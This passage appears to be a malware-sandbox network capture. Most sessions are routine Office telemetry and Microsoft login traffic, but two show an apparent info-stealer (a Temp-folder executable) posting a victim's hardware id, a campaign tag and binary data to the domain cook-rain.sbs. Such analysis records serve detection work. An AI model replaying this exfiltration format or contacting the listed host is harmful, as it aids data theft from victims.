2024-11-22 03:13:00 UTC	8742	OUT	Data Raw: 2d 2d 45 30 47 46 4a 45 43 52 57 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 32 37 33 37 46 32 45 45 33 46 30 32 35 41 31 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 45 30 47 46 4a 45 43 52 57 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 45 30 47 46 4a 45 43 52 57 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 45 30 47 46 4a 45 43 52 57 59 0d 0a 43 6f Data Ascii: --E0GFJECRWYContent-Disposition: form-data; name="hwid"82737F2EE3F025A1D7CBBD6DF28D3732--E0GFJECRWYContent-Disposition: form-data; name="pid"2--E0GFJECRWYContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--E0GFJECRWYCo
2024-11-22 03:13:01 UTC	1011	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:13:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6alf7ogumagb5oei9kirc5bjmu; expires=Mon, 17-Mar-2025 20:59:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SD91FSh5ew148qOsD9XKoV%2Fz6Zg2AXeA1m7CoTG3%2BBotNb0MfE%2B21lHN4kA6GX14KGRyFvSMHetEsI9A%2FYWeXCVnFBftLtidwJGdmR76bxCWBdkV9Eo%2FE5V%2BqhOdw3eR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e65bdbbece4423d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1791&sent=7&recv=14&lost=0&retrans=0&sent_bytes=2830&recv_bytes=9670&delivery_rate=1629464&cwnd=178&unsent_bytes=0&cid=587543d07f350a24&ts=911&x=0"
2024-11-22 03:13:01 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-22 03:13:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:13:01 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:13:01 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:13:01 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 4e85307b-101e-007a-398c-3a047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031301Z-174c587ffdfks6tlhC1TEBeza400000000u000000000ppa5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:13:01 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49905	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:13:01 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:13:01 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:13:01 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 24867866-a01e-0053-1264-3b8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031301Z-178bfbc474bq2pr7hC1NYCkfgg00000002d000000000qc2a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:13:01 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	49903	20.190.177.22	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:13:01 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-22 03:13:01 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-22 03:13:01 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 22 Nov 2024 03:12:01 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C533_BAY x-ms-request-id: b276723a-a925-4c64-90c8-b7b2882561db PPServer: PPV: 30 H: PH1PEPF000183C8 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 22 Nov 2024 03:13:01 GMT Connection: close Content-Length: 1276
2024-11-22 03:13:01 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49907	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:13:01 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:13:01 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:13:01 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 8149a5d6-a01e-001e-117b-3b49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031301Z-174c587ffdfmrvb9hC1TEBtn3800000000ug00000000e7a3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:13:01 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49912	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:13:02 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:13:02 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:13:02 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: c87fa586-301e-0052-7045-3c65d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031302Z-174c587ffdfn4nhwhC1TEB2nbc00000000v000000000mgtq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:13:02 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49911	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:13:02 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:13:02 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:13:02 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 990fd94f-f01e-0052-6c4e-3c9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031302Z-178bfbc474bh5zbqhC1NYCkdug00000002bg000000006xxn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:13:02 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:13:03 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:13:03 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:13:03 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: f390f01b-d01e-0017-588c-3ab035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031303Z-15b8b599d882hxlwhC1TEBfa5w00000000p000000000h0py x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:13:03 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49919	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:13:03 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:13:03 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:13:03 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 627e99eb-a01e-0084-2049-3c9ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031303Z-15b8b599d889fz52hC1TEB59as00000000tg00000000bwbn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:13:03 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.4	49924	172.67.155.248	443	5572	C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:13:03 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9VWN7LRP5M3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20401 Host: cook-rain.sbs
2024-11-22 03:13:03 UTC	15331	OUT	Data Raw: 2d 2d 39 56 57 4e 37 4c 52 50 35 4d 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 32 37 33 37 46 32 45 45 33 46 30 32 35 41 31 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 39 56 57 4e 37 4c 52 50 35 4d 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 39 56 57 4e 37 4c 52 50 35 4d 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 39 56 57 4e 37 4c 52 50 35 4d 33 Data Ascii: --9VWN7LRP5M3Content-Disposition: form-data; name="hwid"82737F2EE3F025A1D7CBBD6DF28D3732--9VWN7LRP5M3Content-Disposition: form-data; name="pid"3--9VWN7LRP5M3Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--9VWN7LRP5M3
2024-11-22 03:13:03 UTC	5070	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: lrQMn 64F6(X&7~`aO
2024-11-22 03:13:04 UTC	1014	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:13:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=aqmlirck3lg6pobp0807agm9ki; expires=Mon, 17-Mar-2025 20:59:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f2B8iLo9FbvMYjDD%2BUEmL8%2FCnK8OnPoET5zFJLq%2FZhxB5spICiXtoyegZXaoNs%2FrlK01aLyLjU00xTO9zWA6ykW%2BER9zu6gbZ8eZBiO7eLkodO935kMyzT1YObYZFZ%2F0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 